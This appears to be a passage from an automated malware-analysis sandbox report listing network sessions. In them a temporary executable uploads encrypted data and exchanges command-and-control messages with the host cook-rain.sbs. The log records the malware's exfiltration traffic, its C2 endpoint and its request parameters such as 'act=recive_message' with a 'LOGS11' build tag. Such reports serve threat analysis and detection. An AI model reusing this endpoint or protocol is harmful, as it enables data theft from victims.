da e3 c0 cc 80 62 84 1b 86 01 71 ed 44 a9 ee 73 Data Ascii: G~sBf#8riy\|z=(xdm*go>O}Uj}yR83kp(#5hJbn.1?}vfr b%Xh2^c4Z\ov\|Ow0n0.}nUcRgHCF,iF^v5>{^S#ol}km#(ObqDs
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: dd 74 f4 66 83 92 3e 4d 93 ac 95 b3 ab e3 02 06 de 0a a8 d7 ca db 3a 8f e6 71 20 e4 f3 01 61 d4 55 e0 76 e7 f7 ee df ff ff c3 cd 13 40 be 38 5e f3 27 44 c9 d2 4b 45 42 19 42 cc 5b 69 20 d1 df ff d6 bd 2c c4 a1 48 64 cf 25 c5 61 f5 6f 80 b0 97 68 89 79 89 25 7e 99 94 5b e0 06 67 7e 42 4b 5e bb 84 e2 ca b9 a1 1d 22 ac 1f 41 6d 30 d2 13 03 94 fb 4e cc 4d 15 59 ea cd 25 15 ad 22 d1 39 7e f9 65 38 c9 d0 60 e1 1b de ad 54 80 b6 0f 63 dd ff 1d 15 e3 cc cb 9c da c8 3c 9c ff 7a bd bb 15 b8 78 be 95 00 e1 45 a7 c2 97 da f3 7e 65 dc bb d1 c6 b6 ed 14 b0 ed f7 64 cb f6 a4 08 19 27 1b 4d 45 3a 1b 92 64 b2 e4 8b 4a 00 ab 2c f2 a2 2f 6e d3 48 68 61 ba 7c 41 51 e2 94 8c 85 4d 88 27 cf a1 9c 96 09 90 8b cf 8f 47 f0 1b c7 92 66 b7 4f bf d9 c7 a9 45 95 b6 7b 82 67 b4 af 8d Data Ascii: tf>M:q aUv@8^'DKEBB[i ,Hd%aohy%~[g~BK^"Am0NMY%"9~e8`Tc<zxE~ed'ME:dJ,/nHha\|AQM'GfOE{g
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: 53 f8 96 77 6d e1 fd a4 11 f6 f1 a2 23 44 29 44 98 a4 e9 6d 7d f7 2e f3 d7 1b 2b 44 16 d2 b6 e3 98 51 c1 37 4e 64 e1 82 2b 6a 65 08 b1 59 b8 98 32 7a dd 67 d2 b1 b1 a5 cb 10 21 e7 1d 3a 6d 5e ba d6 1a 4f 72 87 0d 6a 32 a7 a3 1f d5 21 21 9f 87 67 6e 90 48 ad d7 e6 23 27 7b 25 b4 48 36 24 7a 72 8a 08 5b a4 f6 ec 02 26 e0 b5 7f 04 75 7a cf ec 43 2d 61 53 83 b5 de 9b 82 9b 3b ad bb c7 3b 9d 3b f4 12 41 b0 55 2a cc 56 e6 36 7c 43 24 97 1c 1b b2 70 88 38 da e2 d0 b8 1b 44 e9 4b b5 6e ed 54 9b 53 40 2c eb 42 7f 62 ff f4 4b 1d f0 a3 b7 21 46 95 f3 5e 46 a9 29 36 e1 99 ea a2 2f 4f 72 6c 16 ed 5b a4 3e 93 d4 ae cf fe fc a7 90 9a f1 12 b5 66 fd ae e3 86 65 4a a9 68 7a 7b 43 09 ef 7c 1a 75 ea 8a 5d e2 bc 1f af 21 6f af 54 a0 75 40 24 65 99 b8 ea 55 a2 bf 3d 71 f9 0a Data Ascii: Swm#D)Dm}.+DQ7Nd+jeY2zg!:m^Orj2!!gnH#'{%H6$zr[&uzC-aS;;;AU*V6\|C$p8DKnTS@,BbK!F^F)6/Orl[>feJhz{C\|u]!oTu@$eU=q
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: d1 4f 0c 63 32 df d4 0b 23 47 01 10 21 ff cb ae 12 04 46 0e 82 9b cf 2b 36 09 60 59 16 04 ae 48 a0 f2 70 07 68 62 53 0d 35 5b 55 d3 c9 04 e9 b8 4e 3a da ca c7 5e 98 4c 61 dd e9 85 86 2c 12 71 3a ee c1 d1 1b 37 7a 11 80 74 55 eb de 10 e5 98 2a 71 b2 84 4d 61 b6 32 c1 a1 40 16 6c 1d 18 8e 81 72 05 c0 97 ec ae a2 d5 74 48 df 19 b0 c4 49 49 68 54 6e 5a 23 88 95 17 05 f2 7f 5e e2 e4 81 2c 33 f6 c9 cf d8 29 1c 6c d6 8e 03 f9 fa a8 e8 64 2b 03 87 52 a1 c0 a1 88 dc 34 be 68 e4 30 1a 33 6b 5d 43 9b 23 2d d8 c2 8d 3c c4 4e c0 c6 76 1e f8 98 af 51 ed 72 16 79 41 00 fe 65 99 5b 9b 5c 75 89 53 f2 11 7b 9a 2e 2c 76 59 20 e6 fb e8 ce 99 cb cf 2c e5 7b 2f 4c d9 a3 63 79 33 9a a6 d4 4c 59 fd 74 0d cc 7f 5e ab 7b 6f 02 1f fb 01 d1 e4 56 50 37 5b d7 78 cd 65 10 ef 8e 85 37 Data Ascii: Oc2#G!F+6`YHphbS5[UN:^La,q:7ztU*qMa2@lrtHIIhTnZ#^,3)ld+R4h03k]C#-<NvQryAe[\uS{.,vY ,{/Lcy3LYt^{oVP7[xe7
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: 16 3d 24 c8 a8 44 3d 6e 97 08 7a 2d ec 5c 67 5c c9 09 f0 92 0b 0b 81 d3 06 bc 6a 86 20 9a ed 48 9f f0 36 de cd 21 7d c6 20 3b 7d a4 b4 95 97 61 e8 bf 10 b7 be 38 a2 b0 cd 72 c3 bf bc b8 c4 d8 a6 ac 53 2c bc 82 9a fe 9c 59 29 ca 7d 35 99 44 91 d2 d6 f8 25 aa 5d 90 c0 89 ee fa 36 6f 6c 19 6c 29 08 d6 e6 6a b6 1a bc b2 dc d2 aa 4c 42 29 42 c0 49 4a db 76 f1 03 84 83 e8 3d ff b7 22 34 7c c7 af 2b fc f4 a1 2e 59 a3 fc aa f5 1d c7 4a dd ce 4f 08 2c 6c 15 62 42 ac 89 9b 0d 64 5d 3c b6 08 de a9 3c 67 8a 8b 8c d1 bc 46 24 36 b5 32 ee c1 7e b7 38 d0 fe bf b5 82 b2 12 28 ee fb 44 a3 80 31 5a 15 a2 06 9e a1 bb c0 09 91 54 be ed 6f 63 b4 14 de e4 fd 48 ca e3 29 fc e8 6b ac 4d 66 fa 53 78 38 04 72 f2 f1 5f 44 58 25 80 f1 83 f1 6d 90 1c f8 46 81 0f b1 16 57 3d f5 80 f0 Data Ascii: =$D=nz-\g\j H6!} ;}a8rS,Y)}5D%]6oll)jLB)BIJv="4\|+.YJO,lbBd]<<gF$62~8(D1ZTocH)kMfSx8r_DX%mFW=
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: 2e 6c cb 11 0e 6c f3 5d dd 73 c9 a9 89 16 bc 0e e7 d3 aa b9 52 4d e5 b3 eb 3c 8d 7d f9 0f 6c 6c 18 92 82 17 a3 b9 4e cd b1 08 b5 3d e7 23 b7 c3 b7 17 83 b1 63 d5 ba 91 41 68 86 28 43 78 a2 c4 26 c1 67 db 8e 99 f9 a1 fa ae f3 14 dc 4c 15 f5 8f 90 d9 ae a1 5b 2f ec 0a 0d d8 79 e6 d8 20 2e 6a 58 f4 f7 eb 48 6c 13 8f c3 7a 25 84 eb ee 63 a4 89 07 83 1f d0 c2 a1 31 ab 64 6e c3 14 19 2e 0e c6 1c 17 de c5 62 19 cc e7 7c f3 a2 7f 0f e4 c1 a7 73 6b 38 ef 45 96 b2 ec 13 a9 1a ba 4a 89 de 74 59 9b af 06 dc 12 df 5b b2 c2 12 15 7a 1f db de b6 5a e4 c3 e9 fe e2 26 17 79 77 12 f7 73 c3 e7 e6 e2 46 f4 52 9b bc 42 75 ed 76 d1 b6 d7 49 e2 c7 03 ea f8 48 2a f0 8f 08 56 e5 55 7c 2d c3 e8 10 b1 a5 99 34 46 69 57 e6 12 0b f8 70 fd 17 5d 0c fd 49 37 21 1c 55 c6 c1 3f db d9 29 Data Ascii: .ll]sRM<}llN=#cAh(Cx&gL[/y .jXHlz%c1dn.b\|sk8EJtY[zZ&ywsFRBuvIH*VU\|-4FiWp]I7!U?)
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: d3 50 db 50 45 06 88 ad 3a a2 5b 93 63 0e 37 ce 08 73 77 be 05 6c 16 1f b0 be 6b ce a7 97 d1 25 99 97 94 58 98 94 d4 ba 3f 26 ea a6 7e 64 e5 99 d3 54 a1 ff b8 c4 49 08 cd 97 91 b5 42 d1 cb 63 03 4a 63 fd 0f 4e 3a ba c0 8b ce 2a 91 53 8d 14 73 97 62 75 d7 68 f5 e1 d6 ad 17 bc a0 71 55 cb de ed 72 91 7b df 13 19 e9 56 16 0f 22 46 ab ee ef 8f 5c c9 23 dc e9 db d8 53 1b 54 6d b3 07 d3 af 6e 8f 27 25 b2 f1 35 e6 0c 22 97 04 93 f3 20 f1 63 ca 2a 25 fb 34 52 d5 72 9a 2c c5 44 44 96 76 6d 6b 74 da a1 16 ad 2d df ba 44 d5 6a 54 49 48 6a b6 22 d7 50 58 64 79 fa a8 38 25 08 2d 94 34 e2 e3 4a e5 a2 22 13 b8 55 df 1d f1 07 bd 44 b7 f1 84 34 26 6d 7b 0e 4b 3f ed a6 7d a2 f2 cf b5 e4 03 70 a8 28 4f 56 7a 4e 69 64 c1 2d 34 a2 03 0d 2f 75 ff a7 f4 8c c1 16 5d e6 e7 bd 37 Data Ascii: PPE:[c7swlk%X?&~dTIBcJcN:SsbuhqUr{V"F\#STmn'%5" c%4Rr,DDvmkt-DjTIHj"PXdy8%-4J"UD4&m{K?}p(OVzNid-4/u]7
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: e9 5a b9 26 3b d3 85 da 1c 49 73 32 04 f6 bd 0c 07 96 3d 44 72 20 5f bc 99 ab 51 a5 d2 4b 27 b0 85 38 99 b6 ee 8c cb 79 5d 2d ba fc a7 15 3b 5b 8a ed da 96 4c 22 ac d1 b0 56 1a 27 27 fb 5d 25 6e 55 a6 f4 8e 64 a5 a3 61 54 38 ea 5a 34 5d 96 1b 98 26 ac c3 d1 df be 66 7f 2b a3 07 82 33 e1 bc 41 a6 68 92 7e 23 f4 cc ba 65 a6 b5 1a db af 9e 84 a7 16 6e fa a5 b2 6f d9 11 58 e3 b7 24 76 a9 ca 52 d8 ad ef b1 6c ec 2d b5 00 1b 38 02 15 89 82 95 bf 6c ca 39 4e ba a0 16 e6 30 f0 33 75 3e b1 ef 7b 86 17 34 60 74 c3 7a 03 e1 04 68 78 08 ef db 75 f5 6e 6e ed 7a 30 fb af 4d 0d 9f 8c f4 35 32 d3 24 6c 1b 1c 4d d9 f5 df 94 fb aa 9d c3 ee 02 fb e7 ba e4 48 cb 6e 44 ea af 79 58 02 d1 79 bc 25 2e b4 c6 32 df c5 09 07 0d 3b 63 49 6e 0c 38 7c cf c1 c6 45 91 8e fe af 2f 95 52 Data Ascii: Z&;Is2=Dr _QK'8y]-;[L"V'']%nUdaT8Z4]&f+3Ah~#enoX$vRl-8l9N03u>{4`tzhxunnz0M52$lMHnDyXy%.2;cIn8\|E/R
2024-11-21 13:11:50 UTC	984	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=61slan7h42bhv7a3u8la40kell; expires=Mon, 17-Mar-2025 06:58:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gBIZaUcxbvm3vLt8YETrkjQdJyRJDW5IHTH9JP9HfTSRqDCdDKTa98axtY7eOK2fZtY72L3O7bZ1OYyARn47De1CdUwJVVvR6tKrgONKDGr9kUW%2FLROeno3dFUYZHxsB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed747dc3421c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1624&sent=267&recv=569&lost=0&retrans=0&sent_bytes=2829&recv_bytes=551267&delivery_rate=1790312&cwnd=252&unsent_bytes=0&cid=5b70fd7f32e2f606&ts=4241&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49988	188.114.97.3	443	1408	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:49 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-21 13:11:49 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-21 13:11:49 UTC	976	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=00e9tmcvk06kn0749132mfeloj; expires=Mon, 17-Mar-2025 06:58:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=90Xdqq87EfktF07FmbIgo9RcsVzcLv8yMmbuU3dg1uDK5%2BUKNApHKKu3WUNiurUd4PaTW7lYFAmMPpBi7xyNYq8Y6EV0cX7BHJNWc3o018aoTAcQYbOiCQgQ1Ft4V8nF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed860a5c8c90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1857&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1564006&cwnd=201&unsent_bytes=0&cid=5d67dd7f2d807e24&ts=718&x=0"
2024-11-21 13:11:49 UTC	393	IN	Data Raw: 34 34 36 63 0d 0a 61 45 37 33 47 31 61 33 75 6e 6c 6b 70 68 76 34 55 39 35 67 6f 44 7a 6d 72 79 30 68 41 53 2f 7a 66 43 72 43 7a 64 35 4e 41 46 63 54 62 49 45 35 62 49 4f 57 57 78 66 44 4f 63 49 6e 72 42 58 46 45 4d 54 4f 53 51 4d 37 53 5a 49 51 57 61 66 68 2f 44 74 74 64 56 49 6f 6c 6e 63 6c 30 70 5a 62 41 64 34 35 77 67 69 6c 51 73 56 53 78 4a 55 50 52 47 74 4e 6b 68 42 49 6f 36 61 78 50 57 77 30 41 43 4b 51 63 7a 50 55 33 68 67 49 79 33 36 64 4e 72 38 4b 7a 6c 57 4c 78 30 41 44 4c 51 32 57 42 67 6a 34 37 35 4d 6f 64 44 59 6c 4c 34 52 77 64 4d 71 57 41 6b 62 44 64 64 70 70 2f 41 48 46 58 6f 72 4a 53 55 70 70 52 35 73 59 53 61 61 6e 72 69 52 6d 50 77 41 73 6b 33 49 35 33 63 6f 56 41 73 78 31 6d 7a 79 2f 51 6f 77 65 67 39 55 50 47 79 4d 65 6f 78 31 5a 73 Data Ascii: 446caE73G1a3unlkphv4U95goDzmry0hAS/zfCrCzd5NAFcTbIE5bIOWWxfDOcInrBXFEMTOSQM7SZIQWafh/DttdVIolncl0pZbAd45wgilQsVSxJUPRGtNkhBIo6axPWw0ACKQczPU3hgIy36dNr8KzlWLx0ADLQ2WBgj475ModDYlL4RwdMqWAkbDddpp/AHFXorJSUppR5sYSaanriRmPwAsk3I53coVAsx1mzy/Qoweg9UPGyMeox1Zs
2024-11-21 13:11:49 UTC	1369	IN	Data Raw: 56 4e 33 54 53 77 46 74 65 68 46 71 66 49 62 73 4f 31 42 79 2b 6a 56 41 4e 65 67 32 57 45 67 6a 34 37 37 51 71 59 54 59 42 49 35 5a 78 50 38 66 59 43 51 44 4a 66 49 67 33 75 51 7a 49 58 5a 62 48 51 55 56 67 52 4a 6f 58 54 61 65 72 2f 47 45 69 4d 68 4a 73 7a 54 6b 56 32 4e 4d 58 44 4e 4e 35 32 69 37 79 47 34 4a 5a 69 49 30 58 41 32 64 4d 6c 52 39 4d 72 71 47 34 49 32 51 37 42 79 4f 54 63 7a 54 53 30 68 4d 4f 78 58 53 52 50 72 77 48 7a 31 71 43 77 55 35 47 49 77 50 52 47 56 44 67 39 2f 77 42 5a 54 59 59 62 71 42 36 4f 74 76 66 44 55 62 62 4e 34 4e 78 75 77 36 43 42 73 54 44 53 6b 78 78 54 49 4d 62 52 72 4b 6a 75 53 6c 76 4e 67 51 73 6b 48 34 35 32 39 34 63 42 63 78 39 6d 7a 2b 77 43 4d 46 61 68 34 30 42 41 32 52 56 30 55 59 49 6b 61 79 34 4b 48 41 32 42 47 Data Ascii: VN3TSwFtehFqfIbsO1By+jVANeg2WEgj477QqYTYBI5ZxP8fYCQDJfIg3uQzIXZbHQUVgRJoXTaer/GEiMhJszTkV2NMXDNN52i7yG4JZiI0XA2dMlR9MrqG4I2Q7ByOTczTS0hMOxXSRPrwHz1qCwU5GIwPRGVDg9/wBZTYYbqB6OtvfDUbbN4Nxuw6CBsTDSkxxTIMbRrKjuSlvNgQskH45294cBcx9mz+wCMFah40BA2RV0UYIkay4KHA2BG
2024-11-21 13:11:49 UTC	1369	IN	Data Raw: 32 64 45 57 41 4d 52 2b 6e 6a 53 75 42 38 74 53 69 49 30 42 41 32 52 56 30 55 59 49 6a 36 69 71 4c 45 30 32 47 79 58 56 5a 6e 72 4d 6d 42 77 4b 68 43 48 61 4e 72 6b 4b 79 56 69 4d 7a 56 31 47 62 55 61 51 46 45 36 68 6f 72 41 70 59 6a 51 4b 4b 70 6c 35 4d 39 4c 4b 43 51 50 43 61 35 42 78 38 6b 4c 46 52 73 53 56 44 33 56 7a 57 6f 41 49 43 70 57 73 73 69 46 6c 49 30 6f 7a 32 32 42 30 30 74 52 62 58 6f 52 79 6d 6a 32 37 43 73 52 61 6a 4d 4a 41 53 6e 46 4d 6e 52 42 61 70 36 2b 31 49 57 30 35 41 79 47 53 64 44 2f 66 31 52 38 42 78 54 6e 55 63 62 73 61 67 67 62 45 2b 31 39 4f 62 32 4f 61 45 6b 48 67 73 50 49 32 49 6a 49 47 62 4d 30 35 4d 4e 6e 51 45 51 6e 4e 63 35 41 2b 74 51 4c 4b 56 34 33 4f 54 30 39 6c 54 4a 30 53 52 61 57 73 75 53 4a 6e 4e 51 59 72 6b 6e 68 Data Ascii: 2dEWAMR+njSuB8tSiI0BA2RV0UYIj6iqLE02GyXVZnrMmBwKhCHaNrkKyViMzV1GbUaQFE6horApYjQKKpl5M9LKCQPCa5Bx8kLFRsSVD3VzWoAICpWssiFlI0oz22B00tRbXoRymj27CsRajMJASnFMnRBap6+1IW05AyGSdD/f1R8BxTnUcbsaggbE+19Ob2OaEkHgsPI2IjIGbM05MNnQEQnNc5A+tQLKV43OT09lTJ0SRaWsuSJnNQYrknh
2024-11-21 13:11:49 UTC	1369	IN	Data Raw: 30 62 49 65 70 59 35 73 77 54 4c 55 6f 37 45 52 45 39 6f 53 5a 30 58 54 61 61 75 75 53 70 6a 4d 51 59 6d 6b 33 6f 33 32 74 63 55 44 6f 51 33 32 6a 61 6b 51 70 6f 65 6f 64 70 45 54 57 55 4e 6a 6c 42 52 34 4b 69 77 62 7a 70 31 42 69 57 54 66 7a 48 5a 32 52 30 4f 77 58 47 65 4d 4c 6f 45 77 56 47 41 79 45 35 4d 5a 30 47 66 46 45 6d 68 6f 37 63 67 61 54 42 4b 59 74 56 2b 4c 4a 57 41 57 7a 66 48 62 34 30 68 73 45 4c 64 45 4a 32 4e 53 45 38 6a 46 64 45 66 57 71 71 6c 73 69 70 74 4d 41 6b 6a 6b 6e 51 79 32 64 49 53 44 73 4a 32 6b 79 4f 2f 44 73 78 5a 69 73 46 42 54 6d 6c 4f 6e 46 34 47 34 4b 69 6b 62 7a 70 31 4a 69 75 59 56 7a 2f 5a 33 31 73 5a 69 6d 44 61 4e 72 42 43 6d 68 36 49 78 30 4e 4b 59 30 53 55 46 6b 4f 70 71 72 30 6b 5a 7a 59 4d 49 5a 70 77 4a 74 2f 62 Data Ascii: 0bIepY5swTLUo7ERE9oSZ0XTaauuSpjMQYmk3o32tcUDoQ32jakQpoeodpETWUNjlBR4Kiwbzp1BiWTfzHZ2R0OwXGeMLoEwVGAyE5MZ0GfFEmho7cgaTBKYtV+LJWAWzfHb40hsELdEJ2NSE8jFdEfWqqlsiptMAkjknQy2dISDsJ2kyO/DsxZisFBTmlOnF4G4Kikbzp1JiuYVz/Z31sZimDaNrBCmh6Ix0NKY0SUFkOpqr0kZzYMIZpwJt/b
2024-11-21 13:11:49 UTC	1369	IN	Data Raw: 2b 56 4f 4c 38 4e 77 31 65 49 77 45 70 4b 5a 6b 79 58 47 6b 4b 71 72 37 6f 70 59 7a 41 41 4c 35 52 7a 50 64 4c 51 48 41 58 57 4f 64 52 78 75 78 71 43 42 73 54 6b 53 46 46 74 58 64 45 42 42 72 6e 76 75 79 4d 69 62 55 6f 6f 6e 33 59 77 30 74 51 64 41 38 4a 30 6d 7a 36 39 41 73 31 61 6a 38 52 4a 51 6d 35 49 6e 42 70 61 71 71 53 7a 49 32 73 35 42 32 7a 62 4f 54 50 4e 6d 45 4e 47 39 58 53 55 50 37 73 55 67 6b 48 4b 31 41 39 45 62 77 33 4a 58 6b 6d 73 6f 4c 38 67 59 54 59 4c 4a 6f 64 72 4f 4e 7a 51 48 67 72 50 64 35 77 6a 75 67 33 4c 58 59 66 45 53 45 74 76 52 35 49 5a 43 4f 37 76 75 7a 63 69 62 55 6f 50 67 6d 6b 35 6c 63 64 56 48 34 52 2b 6c 6e 48 6b 51 73 70 54 6a 4d 64 4c 52 47 35 4b 6c 78 64 61 71 61 71 79 4c 32 59 2b 42 53 71 52 65 6a 54 48 33 68 38 4f 78 Data Ascii: +VOL8Nw1eIwEpKZkyXGkKqr7opYzAAL5RzPdLQHAXWOdRxuxqCBsTkSFFtXdEBBrnvuyMibUoon3Yw0tQdA8J0mz69As1aj8RJQm5InBpaqqSzI2s5B2zbOTPNmENG9XSUP7sUgkHK1A9Ebw3JXkmsoL8gYTYLJodrONzQHgrPd5wjug3LXYfESEtvR5IZCO7vuzcibUoPgmk5lcdVH4R+lnHkQspTjMdLRG5KlxdaqaqyL2Y+BSqRejTH3h8Ox
2024-11-21 13:11:49 UTC	1369	IN	Data Raw: 37 47 6f 49 47 78 4f 78 55 51 47 39 41 30 51 45 47 75 65 2b 37 49 79 4a 74 53 69 43 62 66 44 54 66 33 68 38 44 77 6e 4f 66 4d 62 63 42 7a 56 71 43 79 55 42 44 61 45 53 51 47 45 32 71 70 4c 6f 69 59 54 4d 4d 62 4e 73 35 4d 38 32 59 51 30 62 6b 59 70 63 39 75 30 4c 64 45 4a 32 4e 53 45 38 6a 46 64 45 56 52 4b 53 6f 76 43 4a 68 50 51 38 6f 6e 33 77 30 33 63 6f 54 42 73 4e 72 69 44 47 31 42 38 35 64 68 4d 6c 4a 53 6d 56 4f 6c 56 34 47 34 4b 69 6b 62 7a 70 31 4a 79 43 53 55 44 50 4f 6d 41 52 49 33 54 6d 64 50 66 78 61 67 6c 2b 50 78 30 42 4f 59 45 75 53 46 55 32 71 72 72 73 6e 62 79 63 4a 49 35 70 39 4e 4e 72 65 48 51 66 4c 66 35 30 34 76 51 72 46 48 73 71 4e 53 46 73 6a 46 64 45 77 54 36 4f 72 2f 44 41 73 4c 45 6f 72 6d 54 6c 73 6c 64 67 52 44 4d 35 33 6d 6a Data Ascii: 7GoIGxOxUQG9A0QEGue+7IyJtSiCbfDTf3h8DwnOfMbcBzVqCyUBDaESQGE2qpLoiYTMMbNs5M82YQ0bkYpc9u0LdEJ2NSE8jFdEVRKSovCJhPQ8on3w03coTBsNriDG1B85dhMlJSmVOlV4G4Kikbzp1JyCSUDPOmARI3TmdPfxagl+Px0BOYEuSFU2qrrsnbycJI5p9NNreHQfLf504vQrFHsqNSFsjFdEwT6Or/DAsLEormTlsldgRDM53mj
2024-11-21 13:11:49 UTC	1369	IN	Data Raw: 52 73 53 56 44 33 5a 67 51 35 38 5a 58 72 48 69 6d 7a 6c 6f 4d 68 6f 72 67 6e 5a 30 6d 35 67 64 52 70 77 71 31 48 47 34 45 34 49 47 31 4a 38 55 46 6a 41 61 77 55 78 58 37 72 62 38 4f 53 4a 74 57 47 4c 56 61 33 53 4e 6d 46 77 46 31 6d 75 63 4d 71 6f 42 68 57 43 36 36 6c 56 4f 5a 56 71 41 49 48 61 6e 74 62 45 70 64 53 52 47 4f 5a 5a 33 4f 74 4c 4f 57 30 69 45 64 74 70 70 68 55 4b 4b 48 72 75 44 44 31 73 6a 46 64 45 72 53 36 36 68 75 7a 6c 7a 65 43 30 32 6d 48 38 6a 78 4a 68 56 52 73 49 35 77 6d 48 79 51 73 5a 50 78 4a 55 66 45 54 67 59 77 6b 6b 59 38 72 44 79 4e 69 49 6a 53 6e 54 48 4e 33 54 48 6d 45 4e 47 67 33 71 49 49 37 6f 42 31 46 33 44 38 33 46 74 5a 45 75 55 47 56 6a 69 67 62 63 37 5a 58 56 45 62 4a 6f 35 62 4f 79 59 55 30 62 37 4e 39 6f 70 2f 46 71 Data Ascii: RsSVD3ZgQ58ZXrHimzloMhorgnZ0m5gdRpwq1HG4E4IG1J8UFjAawUxX7rb8OSJtWGLVa3SNmFwF1mucMqoBhWC66lVOZVqAIHantbEpdSRGOZZ3OtLOW0iEdtpphUKKHruDD1sjFdErS66huzlzeC02mH8jxJhVRsI5wmHyQsZPxJUfETgYwkkY8rDyNiIjSnTHN3THmENGg3qII7oB1F3D83FtZEuUGVjigbc7ZXVEbJo5bOyYU0b7N9op/Fq
2024-11-21 13:11:49 UTC	1369	IN	Data Raw: 52 63 54 4d 52 62 45 54 52 2f 77 2f 61 4e 68 65 33 55 63 62 4d 30 72 65 70 58 4b 57 31 36 45 50 70 6b 6a 72 67 54 42 53 49 65 4b 63 58 31 45 51 35 59 66 58 72 43 34 73 32 42 4d 41 79 73 53 71 32 77 33 32 39 59 63 45 4e 55 35 31 48 47 7a 51 70 70 6e 78 49 55 50 66 43 30 4e 69 56 34 51 34 4a 71 2f 49 57 77 79 48 44 33 59 58 6a 72 53 32 51 30 57 30 33 62 56 48 34 6f 6a 67 68 44 45 79 77 38 62 4d 51 50 52 47 6c 6e 67 39 2b 78 39 4f 57 42 5a 65 38 55 72 4b 35 76 42 57 78 43 45 49 63 68 2f 2f 42 43 43 42 73 53 4b 54 46 46 78 53 35 49 49 53 2b 65 52 67 67 68 73 4d 67 73 36 68 58 51 34 39 4e 73 4b 44 50 70 48 6a 7a 4b 79 44 4d 56 49 6c 59 30 42 41 32 77 4e 79 53 63 49 36 4f 2b 44 59 53 49 74 53 6e 54 56 54 44 66 62 31 68 77 51 31 54 53 39 50 37 73 44 31 45 36 4a Data Ascii: RcTMRbETR/w/aNhe3UcbM0repXKW16EPpkjrgTBSIeKcX1EQ5YfXrC4s2BMAysSq2w329YcENU51HGzQppnxIUPfC0NiV4Q4Jq/IWwyHD3YXjrS2Q0W03bVH4ojghDEyw8bMQPRGlng9+x9OWBZe8UrK5vBWxCEIch//BCCBsSKTFFxS5IIS+eRgghsMgs6hXQ49NsKDPpHjzKyDMVIlY0BA2wNyScI6O+DYSItSnTVTDfb1hwQ1TS9P7sD1E6J
2024-11-21 13:11:49 UTC	1369	IN	Data Raw: 4d 44 30 51 59 49 2b 4f 2b 52 50 57 55 6c 43 57 36 35 66 6a 6e 5a 6d 41 52 49 33 54 6d 4d 63 65 52 52 6a 42 36 57 6a 52 63 44 4a 45 36 44 44 45 36 6a 75 62 39 6f 58 41 73 6e 50 70 4a 70 4e 35 66 70 46 67 4c 53 62 4a 6b 68 75 7a 7a 38 63 35 62 4b 58 30 41 68 61 4b 74 63 65 62 61 73 76 43 46 6c 64 55 52 73 6a 54 6c 73 6c 66 55 4a 41 64 52 36 32 42 53 47 51 50 4e 49 68 38 31 42 52 43 4e 53 33 77 63 49 74 75 2f 6b 66 43 78 31 47 47 7a 4e 4f 58 50 62 31 52 6f 46 79 6e 71 49 49 37 6f 42 31 46 33 44 38 33 46 73 61 45 79 42 45 31 6d 74 71 36 6f 52 58 42 49 4d 4b 5a 4a 48 43 75 4c 4a 48 42 61 47 58 35 6b 6e 76 30 4b 4d 48 70 79 4e 46 77 4e 45 53 35 51 5a 43 4f 37 76 75 47 38 36 64 53 55 6e 6c 47 6b 35 78 4e 55 66 45 49 5a 65 6e 44 53 37 51 6f 77 65 69 49 30 58 41 Data Ascii: MD0QYI+O+RPWUlCW65fjnZmARI3TmMceRRjB6WjRcDJE6DDE6jub9oXAsnPpJpN5fpFgLSbJkhuzz8c5bKX0AhaKtcebasvCFldURsjTlslfUJAdR62BSGQPNIh81BRCNS3wcItu/kfCx1GGzNOXPb1RoFynqII7oB1F3D83FsaEyBE1mtq6oRXBIMKZJHCuLJHBaGX5knv0KMHpyNFwNES5QZCO7vuG86dSUnlGk5xNUfEIZenDS7QoweiI0XA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50002	188.114.97.3	443	1408	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
